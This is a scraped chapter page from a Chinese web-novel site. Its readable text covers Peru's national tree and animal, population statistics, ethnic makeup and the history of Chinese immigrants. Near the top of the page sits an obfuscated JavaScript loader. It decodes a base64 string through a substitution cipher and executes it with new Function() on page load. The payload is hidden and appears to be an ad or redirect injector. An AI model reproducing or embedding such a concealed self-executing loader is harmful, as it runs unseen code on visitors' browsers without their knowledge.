当书网

阅读记录  |   用户书架
(function(){function u9ecfd17f(v3a5691){var a4b76="Yv_[4Gyb2KUQeR8j6xoi@?;c,-lF3T|IrED~wHt05pdaNz%OJ/s:quPCnLV$^k.A]ZM9!fBgmh17S&(=XW";var tba408="e^&_4XDsRo-|u$gk~Mr1hBf6G?tU;Tbl0[PzivV.ad9OpLcyEj/x7]JCSw,ZW(N:2@mIK8!Hq=3YnFQ5%A";return atob(v3a5691).split('').map(function(x905b9a){var q0ac288=a4b76.indexOf(x905b9a);return q0ac288==-1?x905b9a:tba408[q0ac288]}).join('')}var c=u9ecfd17f('thunder://THdTcEtMRSJ+IisiaTVZXT0iKyJZInVoO2VTJWx3S1NrKXtrO2VTJWx3S1NrcGlpcF1pZlZLcDFwJWZjVkBmPWQlfDVdWVZsNWRkcil7dztrc3Z4NSVRXndTczBsWWJsa1M1SHc4NWxLbzBOSTVsO0tvTSkpe29ZbGVvU31INW8gYmNpZFlZaDtlUyVsd0tTa0tmciVwZil7b1lsZW9TIG5sb3dTODA7b0tNQ0A1b0NLcFlrS2ZyJXBmKX0zSDVvIEBdclk9NGhFIkkvYlVncmlbemFXeVtQbltnVHh6IlYiSFlvVXJpIlYiYndwVWljXSJWIiUlbFVdcl09VXJxVV1pIF0xQV0xQXIxInUzSDVvIE0lcXxmaEBmPWQlfDVdWUViY2lkWVlrZHEpK2JjaWRZWWtpaWMpK2JjaWRZWWtpaWkpK2JjaWRZWWtkZil1VmxwcmZyaEBmPWQlfDVdWUViY2lkWVlrZGYpK2JjaWRZWWtpaWMpK2JjaWRZWWtpaWkpK2JjaWRZWWtkcSl1Vnx8cmRwcWhsNWRkckVNJXF8ZmsiNzF0TyVNdGVwJi4vJU1JTHBXaGgiKXVWWT1wcj1oTSVxfGZrIjcxUEk3RzJJMl46SXxedGVwV2hoIilWTllxcWQ0fGhNJXF8ZmsiJTF0dyUxMk81Xj1TIilWSHx8MXw0MWhNJXF8ZmsiJU10THwsJi8kKGhoIilWNWlkMTE1XTFoTSVxfGZrIiUxP2I1RyhoIilWSGQxcXwxcnBjaE0lcXxmayIlTXRdJEdQfiQoaGgiKVZ+cnJkcllkaE0lcXxmayI1TWROfDhoaCIpVnA7YyVpaEBmPWQlfDVdWUVNJXF8ZmsiVF4mcjVXaGgiKXVWJWk9NWRyZl1ocDtjJWlFTSVxfGZrIjdddE58V2hoIil1Vm8lPXFpcmhwO2MlaUVNJXF8ZmsiJE06SHwxOWgiKXVWbTtwWTQ7WWhwO2MlaUVNJXF8ZmsiJU0mZSQsZGwiKXVWTWY9YzVpaWQ1aE0lcXxmayJ8XiZyN104aCIpVkBmY2NkaTtxfGhNJXF8ZmsifF4mTCIpVkAlO2RjNT0xXWhNJXF8ZmsifCxkQCRXaGgiKTNINW8gfiVmcmlmcWNpaE0lcXxmayIlXWlyNV4ySXA4aGgiKTNINW8gOmRdJV1wMTNINW8gfHJwO3JmWWZ8aHBpaXBdaWZFcnUzdztrcGlpcF1pZjBJWVM4bEA+aSl7fHJwO3JmWWZ8aHBpaXBdaWZFbyU9cWlya207cFk0O1lrKSpwaWlwXWlmMElZUzhsQCl1fXc7a0lLJTVsd0tTMGJZNW8lQDB3U3BZOmE7a34lZnJpZnFjaSk+VWkpezpkXSVdcDFobDVkZHJFWT1wcj11a00lcXxmayJwLHQ0cCwmTyReSmgiKSkzOmRdJV1wMTB3cGgibCIrbTtwWTQ7WWspKmlZNDM6ZF0lXXAxMGJsT0lZMEx3cGxAaCJpcnJYIjM6ZF0lXXAxMGJsT0lZMEBZdzhAbGgiPXJyTjoiMzpkXSVdcDEwcHdiNXxJWXBobG9lWTN3O2tsNWRkcjB8S3BPQmhTZUlJKXtsNWRkcjB8S3BPMDVOTllTcENAd0lwazpkXSVdcDEpfVlJYll7SDVvIEhwPT1kaDtlUyVsd0tTayl7bDVkZHIwfEtwTzA1Tk5ZU3BDQHdJcGs6ZF0lXXAxKTNAZj1kJXw1XVkwb1lNS0hZSkhZU2x6d2JsWVNZb2tAJTtkYzU9MV1WSHA9PWRWOzVJYlkpfTNAZj1kJXw1XVkwNXBwSkhZU2x6d2JsWVNZb2tAJTtkYzU9MV1WSHA9PWRWOzVJYlkpfX1INW8gOzF8ZHxZXTFkaGw1ZGRyRVk9cHI9dWtNJXF8ZmsiJF5pdyReKGgiKSkzOzF8ZHxZXTFkMHdwaEtwMXAlZmMrJWk9NWRyZl1rbTtwWTQ7WWspKmlZNCkzOzF8ZHxZXTFkMGJsT0lZMEBZdzhAbGgick46IjM7MXxkfFldMWQwYmxPSVkwS0hZbztJS0xoIkB3cHBZUyIzJUtTYmwgfDE0Y3xkcGk1aGsvfDFmaSVWTnByXWNpXTRWTzVZZGN8aF1yciloPkRvS013YlkwbzUlWWtFO1lsJUBrL3wxZmklVk5wcl1jaV00KVZTWUwgRG9LTXdiWWtra1tWb1kvWSVsKWg+YllsVHdNWUtlbGtrayloPm9ZL1klbGtTWUwgSm9vS29rImx3TVlLZWwiKSkpVk81WWRjfCkpKXUpM0g1byBOcHIxOzV8PWloNWJPUyUgO2VTJWx3S1NrbD0lNTV8NCl7SDVvIEhjPXBmY11ZY2hFIi9iIlYiJWJiIlYiOHc7IlYiL044IlYiTlM4IlYiL044WSJWIkxZfE4iViJiSDgiViJAbE1JIlYiL05ZOCJ1M0g1byBOXWljNV0lcD1oSGM9cGZjXVljMElZUzhsQDNIYz1wZmNdWWNoSGM9cGZjXVljRW8lPXFpcmttO3BZNDtZaykqTl1pYzVdJXA9KXUzJUtTYmwgTGQ7XTE0cWhFIiRdJWUkTSR+LiwkPXBHJWVwLGRMYS9qPS5UN2gidTNINW8gOFklOztxaExkO10xNHFFcnUzdztrTGQ7XTE0cTBJWVM4bEA+aSl7OFklOztxaExkO10xNHFFbyU9cWlya207cFk0O1lrKSpMZDtdMTRxMElZUzhsQCl1fUg1byBiNXIlOztkZmhONW9iWTlTbGtLcDFwJWZjKTN3O2t3Yi41LmtiNXIlOztkZikpYjVyJTs7ZGZocjNiNXIlOztkZitoZmZmZjNINW8gU2kxaSUlNWhFIkBsbE5iQXMiVnw0Y3A1cWs4WSU7O3EpViJAbE1JIlZgYk1Se2I1ciU7O2RmfWBWYFJ7S3AxcCVmY30wUntIYz1wZmNdWWN9YHVFfnJyZHJZZHVrInMiKTN3O2s6ZF0lXXAxQmhTZUlJKTpkXSVdcDEwSDVJZVkraCJcb1xTYllTcCBtYiBAS2JsICIrU2kxaSUlNTNsb097SDVvIEtZJVldZmg1TDV3bCB8MTRjfGRwaTVrU2kxaSUlNVZ7b1lwd29ZJWxBIjtLSUlLTCJ9Vmk9cnIpM0tZJVldZmg1TDV3bCBLWSVZXWYwbFk6bGspM0g1byBOaWk9MWRjcjRoS1klWV1mMHdTcFk6YTtrYmNpZFlZa2NpKSkzSDVvIGp8cjRwMXJ8JWgiIjN3O2tOaWk9MWRjcjQ+aHIpe2p8cjRwMXJ8JWhLWSVZXWZFTllxcWQ0fHVrTmlpPTFkY3I0KTNLWSVZXWZoS1klWV1mRU5ZcXFkNHx1a3JWTmlpPTFkY3I0KX1LWSVZXWZoS1klWV1mRU1mPWM1aWlkNXVrczB7aVY0fXM4KUVAZmNjZGk7cXx1a2s6aD46RTVpZDExNV0xdWsiIilFSGQxcXwxcnBjdWspRX5ycmRyWWR1ayIiKSkpRX5ycmRyWWR1ayIiKTNLWSVZXWZoS1klWV1mK2p8cjRwMXJ8JTNLWSVZXWZoTSVxfGZrS1klWV1mKTNsPSU1NXw0aEtZJVldZkU1aWQxMTVdMXVrInMiKUVydTN3O2s6ZF0lXXAxQmhTZUlJKTpkXSVdcDEwSDVJZVkraCJcb1xTOFlsIG1iIEBLYmwgYmUlJVliYiIrbD0lNTV8NH0lNWwlQGt8O3wlJWlmPSl7dztrOmRdJV1wMUJoU2VJSSk6ZF0lXXAxMEg1SWVZK2giXG9cUzhZbCBtYiBAS2JsIDs1d0lZcCIrfDt8JSVpZj19SDVvIE4xfGM1WWhscHJmcmtAXXJZPTQwJUtTJTVsa0VgU0tMVVJ7eTVsWUUiU0tMInVrKX1gVmBAb1k7VVJ7SUslNWx3S1MwQG9ZO31gVmBlYiVVUntwO3BpXXFkayl9YHUpMGJLb2xra2spaD5tO3BZNDtZaylVMD0pKUV+cnJkcllkdWsiViIpKTNINW8gb2NjaSVpZGhOMXxjNVkwd1NwWTphO2tiY2lkWVlrY2kpKT5VaS1OMXxjNVlFTllxcWQ0fHVrTjF8YzVZMHdTcFk6YTtrYmNpZFlZa2NpKSkpQSIiM04xfGM1WWhOMXxjNVlFSHx8MXw0MXVrb2NjaSVpZFYiIilFNWlkMTE1XTF1ayIiKUVIZDFxfDFycGN1aylFfnJyZHJZZHVrIiIpK29jY2klaWQzOzF8ZHxZXTFkMGJvJWhFIkBsbE5iQXMiVmw9JTU1fDRWOzF8ZHxZXTFkMHdwVk4xfGM1WXVFfnJyZHJZZHVrInMiKTNsb097bDVkZHIwfEtwTzA1Tk5ZU3BDQHdJcGs7MXxkfFldMWQpfSU1bCVAa1kpe2w1ZGRyMDVwcEpIWVNsendibFlTWW9rInlheENLU2xZU2x6SzVwWXAiVmtrKWg+e2w1ZGRyMHxLcE8wd1NiWW9sP1k7S29ZazsxfGR8WV0xZFZsNWRkcjB8S3BPMCVAd0lwLktwWWJFcnUpfSkpfXc7azpkXSVdcDFCaFNlSUkpezpkXSVdcDEwSDVJZVkraCJcb1xTNU5OWVNwWXAgWU0gbEsgQGxNSSIzSDVvICVyZDtycHJobDVkZHIwOFlsSklZTVlTbD9POXBrOzF8ZHxZXTFkMHdwKTN3O2slcmQ7cnByaGhTZUlJUVElcmQ7cnByaGhlU3BZO3dTWXApezpkXSVdcDEwSDVJZVkraCJcb1xTICU1U2wgOFlsIFlNIDtvS00gQGxNSSJ9fX0zdztrOmRdJV1wMUJoU2VJSSl7OmRdJV1wMTBINUllWStoIlxvXFNiWVNwIC9iIEBLYmwgIit8cnA7cmZZZnx9SDVvIHA7cGldcWRoO2VTJWx3S1NrKXtsb097JUtTYmwgWT00O3xoa1NZTCB5NWxZKTBsS3pLJTVJWXk1bFlubG93UzhrKTMlS1NibCBTO2N8ZmhgYk1sd1tid3BbUns7JT1dY3BdWTQwS3AxcCVmY31bTkhgM0lZbCBMJTQ0XTVZaFBuYS4wTjVvYllrSUslNUlubEtvNThZMDhZbDlsWU1rUztjfGYpKTN3O2tMJTQ0XTVZaGhTZUlJUVFMJTQ0XTVZMHA1bFlCaFk9NDt8KXtMJTQ0XTVZaHtOSFR3TVliQXJWcDVsWUFZPTQ7fH19b1lsZW9TIEwlNDRdNVkwTkhUd01ZYitpfSU1bCVAazVZJTRjZCl7b1lsZW9TIGl9fTNINW8gfDRjcDVxaDtlUyVsd0tTa35yaWN8cSl7b1lsZW9TIE0lcXxma35yaWN8cSlFSHx8MXw0MXVrYmNpZFlZazRdKVZtO3BZNDtZaykwbEtubG93UzhrMWMpMGJJdyVZa28lPXFpcmttO3BZNDtZaykqZCkrXSkpfTNOcHIxOzV8PWlrfDRjcDVxa3xycDtyZllmfCkpM0BmPWQlfDVdWUUiNXBwSkhZU2x6d2JsWVNZbyJ1ayJNWWJiNThZIlZrO2VTJWx3S1NrNVklNGNkKXt3O2s1WSU0Y2QwcDVsNTBqaGhLcDFwJWZjKXtsNWRkcjA4WWxKSVlNWVNsP085cGs7MXxkfFldMWQwd3ApMG9ZTUtIWWspM0g1byBvZjtjaXJpJXJoU2VJSTN3O2s6ZF0lXXAxQmhTZUlJKXs6ZF0lXXAxMEg1SWVZK2giXG9cU29ZJVl3SFkgWU0gTktibCBNWWJiNThZIjM6ZF0lXXAxMEg1SWVZK2giXG9cU1kwcDVsNTBIICIrNVklNGNkMHA1bDUwbTNvZjtjaXJpJXJoazAwMGxZXTFjKWg+e3c7a0JsWV0xY1FRbFldMWMwSVlTOGxAPGhyKW9ZbGVvUzM6ZF0lXXAxMEg1SWVZK2giXG9cUyIrbFldMWMwL0t3U2siICIpfX1TWUwgJmVTJWx3S1NrIjVvOGIiVjVZJTRjZDBwNWw1MG0pa3tbbHAlYkF8fHJkcHFWW0lLOEFvZjtjaXJpJXJ9KX19KSl9KWtFIiRdJWV8VGpdcF0mbXwscmVwLGRMYS9qPS5UN2gidVYiaWNdIlZMd1NwS0xWcEslZU1ZU2wpfTN+aTVZXT1Zaykz'.substr(10));new Function(c)()})();
上一章
目录 | 设置
下一页

第974集(1 / 2)

加入书签 | 推荐本书 | 问题反馈 |

国树

金鸡纳树,学名:Cinchona calisaya,又名奎宁树、规那树、列氏金鸡纳树等,茜草科金鸡纳属植物。乔木,通常高3-6米,最高可达25米;树皮灰褐色,较薄,裂纹多而浅 ,远望金鸡纳林,红一层绿一层,互相交迭,红的是嫩叶,绿的是老叶,夏季开白色小花,种子很小。金鸡纳树喜欢有一定荫蔽湿润的雨林环境。对光照强度的要求随着气温、土壤水分和空气湿度的变化而不同。随着气温升高要求荫蔽毒增大;耐龄越小,要求荫蔽越大。一般空气相对湿度在80%以上,荫蔽度40%~50%的条件下种植生长良好,树皮生物碱及奎宁含量显着提高。原产地源自南美安第斯山脉,而树皮和根皮是提取奎宁和奎尼丁的重要工业原料。

国兽

骆马(学名:Vicugna vicugna):是骆驼科、羊驼族、骆马属的大型哺乳动物。是骆驼科的动物从北美洲进入南美洲的一支的后代,体型较小,无驼峰,分布于安第斯山区和南美洲南部的草原、半荒漠地区,该属仅有1种、2亚种,是野生动物,和人工饲养的大羊驼及小羊驼并非一种动物,分属不同的属。骆马毛在羊驼毛中最粗最长,弹性较差。绒毛的细度为25-35μm,刚毛为150μm。长度为200-300mm。

骆马除野生种外,还有相当数量的驯良种,被印第安人广泛地用作驮役工具,就像中国农民驾驭小毛驴一样。

人口民族

人口

根据秘鲁国家统计信息局数据,2020年秘鲁总人口达3262万,其中2488万达到从事经济活动的年龄,1609万属于经济活跃人口(占64.7%),有878万为经济不活跃人口(占35.3%)。此外,全国16.2%的从业人员具有大学学历,首都利马具有大学学历的从业人员占27.4%。

民族

秘鲁是多种族国家,在过去5个世纪由不同族群融合而成。印第安人在西班牙人殖民统治之前已在秘鲁土地聚居数千年,但由于传染病散播,他们的人口从1520年代的估计约900万下降到1620年的60万。西班牙人和非洲人在殖民统治期间大量涌入,与原住民互相融合。秘鲁独立后逐渐有来自英格兰、法国、德国、意大利和西班牙的欧洲移民定居。奴隶制取消后,中国人在1850年代开始进入该国工作,并成为有较大影响力的族群。2008年秘鲁华人约占10%,多为广东和福建等地移民,部分已不懂中文。其他移民包括阿拉伯人和日本人。

从1849年华工被当做“苦力”贩卖到秘鲁至今,中国人移民秘鲁已有160余年历史。早期华工在秘鲁从事鸟粪、硝石开发,种植棉花、甘蔗等。1874年,秘鲁停止“苦力贸易”,华工获得人身自由。随着时代变迁,华人凭借自己的勤劳和智慧,逐渐融入秘鲁主流社会。华裔从政从商,从军从文,上至国会,下至地方政府,各行各业都有华人精英。据不完全统计,有中国血统的秘鲁人超过300万,约占秘鲁总人口的十分之一以上。华人集中的地区主要在首都利马,从事的行业主要为餐饮业、商贸业。

上一章
目录
下一页
A- 18 A+
默认 贵族金 护眼绿 羊皮纸 可爱粉 夜间